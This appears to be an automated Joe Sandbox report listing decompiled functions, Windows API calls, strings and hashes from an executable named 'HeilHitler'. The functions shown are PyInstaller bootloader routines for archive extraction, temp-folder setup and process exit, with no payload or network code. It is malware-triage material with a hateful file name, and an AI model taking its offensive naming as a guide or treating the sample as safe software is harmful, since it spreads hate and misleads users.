String ID: Could not allocate buffer for TOC!$Could not allocate memory for archive structure!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$calloc$fread$fseek$malloc
API String ID: 2397952137-3497178890
Opcode ID: e060d84aa5bf36d8a380aea433863807716a2bfcfbbc2a242715e1548c9dcf31
Instruction ID: 1855953544a3383a96094cab659c93698b37e88630c9d79497d49a2ddd2127ab
Opcode Fuzzy Hash: e060d84aa5bf36d8a380aea433863807716a2bfcfbbc2a242715e1548c9dcf31
Instruction Fuzzy Hash: 0C81C371A0C68286EB20DBA4D0532FD73A0FF88784F844635E99DE7795DE3CE585A740

Function 00007FF633D61600 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fopen, xrefs: 00007FF633D61663
fwrite, xrefs: 00007FF633D617D1
Failed to create symbolic link %s!, xrefs: 00007FF633D61622
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF633D617DF
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF633D616DA
Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF633D61742
fseek, xrefs: 00007FF633D616E1
Failed to extract %s: failed to open archive file!, xrefs: 00007FF633D616A2
fread, xrefs: 00007FF633D617E6
Failed to extract %s: failed to write data chunk!, xrefs: 00007FF633D617CA
Failed to extract %s: failed to open target file!, xrefs: 00007FF633D6165C
malloc, xrefs: 00007FF633D61749

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
API String ID: 2050909247-1550345328
Opcode ID: cb3c2a77d8d213a9a8c367c96bf5f808a4f883a2ce5e30ac5d600dd79daf51e0
Instruction ID: a6bdfd9945747aa285e8d803024d7a6b3daf8c6c94dac3d1c141db40db657a2b
Opcode Fuzzy Hash: cb3c2a77d8d213a9a8c367c96bf5f808a4f883a2ce5e30ac5d600dd79daf51e0
Instruction Fuzzy Hash: 3D51B061B0864392EA10ABE1A4131B973A0BF84794F844732EEACE77D6DF3CF555A740

Function 00007FF633D68660 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(?,?,00000000,00007FF633D63CBB), ref: 00007FF633D68704
GetCurrentProcessId.KERNEL32(?,00000000,00007FF633D63CBB), ref: 00007FF633D6870A
CreateDirectoryW.KERNELBASE(?,00000000,00007FF633D63CBB), ref: 00007FF633D6874C

Part of subcall function 00007FF633D68830: GetEnvironmentVariableW.KERNEL32(00007FF633D6388E), ref: 00007FF633D68867
Part of subcall function 00007FF633D68830: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF633D68889

Part of subcall function 00007FF633D78238: _invalid_parameter_noinfo.LIBCMT ref: 00007FF633D78251

Part of subcall function 00007FF633D62810: MessageBoxW.USER32 ref: 00007FF633D628EA

Strings

_MEI%d, xrefs: 00007FF633D68712
LOADER: failed to set the TMP environment variable., xrefs: 00007FF633D686DC
TMP, xrefs: 00007FF633D6869C, 00007FF633D687A3
LOADER: length of teporary directory path exceeds maximum path length!, xrefs: 00007FF633D6877E
TMP, xrefs: 00007FF633D686C2

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: Environment$CreateCurrentDirectoryExpandMessagePathProcessStringsTempVariable_invalid_parameter_noinfo
String ID: LOADER: failed to set the TMP environment variable.$LOADER: length of teporary directory path exceeds maximum path length!$TMP$TMP$_MEI%d
API String ID: 3563477958-1339014028
Opcode ID: 191653d34e5a06968e8282251bef030903df87164e49fe651f79a53b4d97858f
Instruction ID: 75af0323ff9a80efafbbee8e034c6139ae6b0d248ea7fffc3df1f4c364d7745c
Opcode Fuzzy Hash: 191653d34e5a06968e8282251bef030903df87164e49fe651f79a53b4d97858f
Instruction Fuzzy Hash: A341A421A1964284FA10ABE5A8672B963A1AF847C1FC05331ED1DFB7DADE3CE545E340

Function 00007FF633D61210 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF633D612EF
Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF633D61276
Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF633D6141E
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF633D612BA
1.3.1, xrefs: 00007FF633D61249
malloc, xrefs: 00007FF633D612C1, 00007FF633D612F6

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: CurrentProcess
String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2050909247-2813020118
Opcode ID: c68ada16c8054f5beab9184a2d33c9fb43cd0d4882f5edf9030f6e60bcef94b6
Instruction ID: d5e919ad1cdf2258e930a2683505d67dca29f55f9e989f0f3a5ac0180549bd08
Opcode Fuzzy Hash: c68ada16c8054f5beab9184a2d33c9fb43cd0d4882f5edf9030f6e60bcef94b6
Instruction Fuzzy Hash: 6251F822A0864285EA209F91E4523BA7390FF85794F844335ED9EE77D5EF3CE545E700

Function 00007FF633D7ED10 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF633D7F0AA,?,?,-00000018,00007FF633D7AD53,?,?,?,00007FF633D7AC4A,?,?,?,00007FF633D75F3E), ref: 00007FF633D7EE8C
GetProcAddress.KERNEL32(?,?,?,00007FF633D7F0AA,?,?,-00000018,00007FF633D7AD53,?,?,?,00007FF633D7AC4A,?,?,?,00007FF633D75F3E), ref: 00007FF633D7EE98

Strings

ext-ms-, xrefs: 00007FF633D7EDE9
api-ms-, xrefs: 00007FF633D7EDD6

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 113d78e4ddfca44ef7199ea688f338981f8b4522c7c5ddaba00381c3941a83e2
Instruction ID: 1c2119cbf279b8d7d58f80f071047de15deef92be4f66182e6d03bbbaf58a44b
Opcode Fuzzy Hash: 113d78e4ddfca44ef7199ea688f338981f8b4522c7c5ddaba00381c3941a83e2
Instruction Fuzzy Hash: BD412821B29A1281FB15CF96AC126752391BF49BD0F894739DD1DEB7A4EF3CE415A300

Function 00007FF633D636B0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,00007FF633D63804), ref: 00007FF633D636E1
GetLastError.KERNEL32(?,00007FF633D63804), ref: 00007FF633D636EB

Part of subcall function 00007FF633D62C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF633D63706,?,00007FF633D63804), ref: 00007FF633D62C9E
Part of subcall function 00007FF633D62C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF633D63706,?,00007FF633D63804), ref: 00007FF633D62D63
Part of subcall function 00007FF633D62C50: MessageBoxW.USER32 ref: 00007FF633D62D99

Strings

Failed to convert executable path to UTF-8., xrefs: 00007FF633D63790
Failed to resolve full path to executable %ls., xrefs: 00007FF633D63739
Failed to obtain executable path., xrefs: 00007FF633D636F3
\\?\, xrefs: 00007FF633D6375A
GetModuleFileNameW, xrefs: 00007FF633D636FA

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: Message$CurrentErrorFileFormatLastModuleNameProcess
String ID: Failed to convert executable path to UTF-8.$Failed to obtain executable path.$Failed to resolve full path to executable %ls.$GetModuleFileNameW$\\?\
API String ID: 3187769757-2863816727
Opcode ID: 7a7bb6314ef99d1ea6b5a99dff4d55fbb7227be169d5ba9e119ffda366a0a745
Instruction ID: c13f2a38a5be17a066d117a47e39e6235b7b3cb1b116aea74476be53e48fcbf7
Opcode Fuzzy Hash: 7a7bb6314ef99d1ea6b5a99dff4d55fbb7227be169d5ba9e119ffda366a0a745
Instruction Fuzzy Hash: 56217161F1864281FB609BA4E8573B67290BF88354FC01332E56EE77E5EE2CE505E700

Function 00007FF633D7BA5C Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D7BE89

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: bd5e670e2ac73c9d5051395424effa1a9c5fa8f9f080fcfac4df12f3bd03b0fb
Instruction ID: 41e7c414f1f24851d6bd88147b24f59ed5fc926e818fa220cb428853ac172b60
Opcode Fuzzy Hash: bd5e670e2ac73c9d5051395424effa1a9c5fa8f9f080fcfac4df12f3bd03b0fb
Instruction Fuzzy Hash: 9DC12922A1CB8781E7619F9590462BD7B60FF81B90F594331EA8EA3791CF7CE845A700

Function 00007FF633D68570 Relevance: 10.6, APIs: 7, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF633D68590
OpenProcessToken.ADVAPI32 ref: 00007FF633D685A3
GetTokenInformation.KERNELBASE ref: 00007FF633D685C8
GetLastError.KERNEL32 ref: 00007FF633D685D2
GetTokenInformation.KERNELBASE ref: 00007FF633D68612
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF633D6862E
CloseHandle.KERNEL32 ref: 00007FF633D68646

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID:
API String ID: 995526605-0
Opcode ID: 1c88e2159774aae00215e56fe2a2a719af09135261df6dbcfc7a62e4558c2eb4
Instruction ID: 85ca96772ff03f063ac1d8247f753327b3eae382b12b32df1e19e35e9204c46f
Opcode Fuzzy Hash: 1c88e2159774aae00215e56fe2a2a719af09135261df6dbcfc7a62e4558c2eb4
Instruction Fuzzy Hash: C4216031A0C64642EB108BD5B54523AB3A0FF857A1F901335EABD97BE5DE7CE4459B00

Function 00007FF633D690E0 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF633D68570: GetCurrentProcess.KERNEL32 ref: 00007FF633D68590
Part of subcall function 00007FF633D68570: OpenProcessToken.ADVAPI32 ref: 00007FF633D685A3
Part of subcall function 00007FF633D68570: GetTokenInformation.KERNELBASE ref: 00007FF633D685C8
Part of subcall function 00007FF633D68570: GetLastError.KERNEL32 ref: 00007FF633D685D2
Part of subcall function 00007FF633D68570: GetTokenInformation.KERNELBASE ref: 00007FF633D68612
Part of subcall function 00007FF633D68570: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF633D6862E
Part of subcall function 00007FF633D68570: CloseHandle.KERNEL32 ref: 00007FF633D68646

LocalFree.KERNEL32(?,00007FF633D63C55), ref: 00007FF633D6916C
LocalFree.KERNEL32(?,00007FF633D63C55), ref: 00007FF633D69175

Strings

D:(A;;FA;;;%s)(A;;FA;;;%s), xrefs: 00007FF633D69142
Security descriptor string length exceeds PYI_PATH_MAX!, xrefs: 00007FF633D69183
S-1-3-4, xrefs: 00007FF633D69121
D:(A;;FA;;;%s), xrefs: 00007FF633D69157

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PYI_PATH_MAX!
API String ID: 6828938-1529539262
Opcode ID: 5ed7a9ba3e6ce910408607b93085540bd422a8d0f9e00f9f84049ca226c14b37
Instruction ID: 52e6a2a20fb17ffffbb22bd5cc981b543d1c9b245fb98ce262a9502fd989064b
Opcode Fuzzy Hash: 5ed7a9ba3e6ce910408607b93085540bd422a8d0f9e00f9f84049ca226c14b37
Instruction Fuzzy Hash: BF213231A0874281F6109B90E9162FA7261FF84780F945236EA5EE77D6DF3CE945E740

Function 00007FF633D7CF60 Relevance: 6.2, APIs: 4, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF633D7CF4B), ref: 00007FF633D7D07C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF633D7CF4B), ref: 00007FF633D7D107

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: a47a8d54e36ced6583969bea4ac316e5fdc1f02f5f342ddc714eca2f45cad1a1
Instruction ID: 2c5950925b83d471098b633555e2b176a57b7e2ae5c35f46bfe30bf5c18bcbd7
Opcode Fuzzy Hash: a47a8d54e36ced6583969bea4ac316e5fdc1f02f5f342ddc714eca2f45cad1a1
Instruction Fuzzy Hash: DA91D772F1865189F7609FA594422BD2BA0BB44B88F545339DE0EB7B98DF3CE446E700

Function 00007FF633D75628 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D75655
CreateFileW.KERNELBASE ref: 00007FF633D75694
CloseHandle.KERNEL32 ref: 00007FF633D756C9

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: b1746a8a916bbf96797ffba89da9809a683c49b2a7b1d8f7dd6efe5c63c8eb6a
Instruction ID: b6ea347872c606fc651df10970017495f6d5f098589fa492bb20860db60ab8b2
Opcode Fuzzy Hash: b1746a8a916bbf96797ffba89da9809a683c49b2a7b1d8f7dd6efe5c63c8eb6a
Instruction Fuzzy Hash: EB41AF22E1878283E7508FA095123BD7361FB947A4F109335EAAC97BD2DF7CA5E19701

Function 00007FF633D6CC3C Relevance: 4.6, APIs: 3, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF633D6CE0C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF633D6CE20

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF633D6CC60
__scrt_release_startup_lock.LIBCMT ref: 00007FF633D6CCCE
__scrt_get_show_window_mode.LIBCMT ref: 00007FF633D6CD21

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: b3dd18574e8b698ea28c35ed35ed65a6730a16d6ac14c38d0a8ba428da0d66bc
Instruction ID: 225631809ee873c906d65c0a2f884c8556d03b12ba005d688212f58f9edddcff
Opcode Fuzzy Hash: b3dd18574e8b698ea28c35ed35ed65a6730a16d6ac14c38d0a8ba428da0d66bc
Instruction Fuzzy Hash: 6E315D21E0C14745FA14ABE5A4533B93691AF41784F845734EA2EFB3E7DE6CB804E710

Function 00007FF633D79A30 Relevance: 4.5, APIs: 3, Instructions: 14COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF633D79A2C), ref: 00007FF633D79A41
TerminateProcess.KERNEL32(?,?,?,00007FF633D79A2C), ref: 00007FF633D79A4C
ExitProcess.KERNEL32 ref: 00007FF633D79A5B

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 148d460979eed4a43ebbf671c65dc2dc638c0d89c9c01e8e00358d5495882c84
Instruction ID: 680f331bb7deda9891d330232410544df533785e7e569a43170d11caffb2d2f3
Opcode Fuzzy Hash: 148d460979eed4a43ebbf671c65dc2dc638c0d89c9c01e8e00358d5495882c84
Instruction Fuzzy Hash: 84D06C11B09B0642EA182FB1589B07812556F88B01B142638C82FAA393ED3CB84D6300

Function 00007FF633D7013C Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D70180
_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D70277

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: e80cfa20b6c7ebf2f27a6dba6ddb06cb01cda21135ba71ef9e2cf3b7629ca058
Instruction ID: fc5356c7eb802d985e62e58080e3a4ed0cc3ff611ae5dba2789b26f0a536a27a
Opcode Fuzzy Hash: e80cfa20b6c7ebf2f27a6dba6ddb06cb01cda21135ba71ef9e2cf3b7629ca058
Instruction Fuzzy Hash: 8A512422B0925286FB289EF5A40267A6691BF84BB4F184734DE7DE77D5CE3CE401A600

Function 00007FF633D7C134 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,?,?,00007FF633D7C2CD), ref: 00007FF633D7C180
GetLastError.KERNEL32(?,?,?,?,?,00007FF633D7C2CD), ref: 00007FF633D7C18A

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 7d52f85de62641260209e8dbb28c5e1251e01e8bf24b4306ce9dcd9badf2c9c6
Instruction ID: 528c13ac300fcc56f4705cb4b58e9af3934c80681faf2d2725b38b10881988d5
Opcode Fuzzy Hash: 7d52f85de62641260209e8dbb28c5e1251e01e8bf24b4306ce9dcd9badf2c9c6
Instruction Fuzzy Hash: BB112322B08A8181DA208F65B801169A361FB81FF0F540331EE7DABBE8CF3CE0148700

Function 00007FF633D7A948 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,?,?,00007FF633D82D22,?,?,?,00007FF633D82D5F,?,?,00000000,00007FF633D83225,?,?,?,00007FF633D83157), ref: 00007FF633D7A95E
GetLastError.KERNEL32(?,?,?,00007FF633D82D22,?,?,?,00007FF633D82D5F,?,?,00000000,00007FF633D83225,?,?,?,00007FF633D83157), ref: 00007FF633D7A968

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
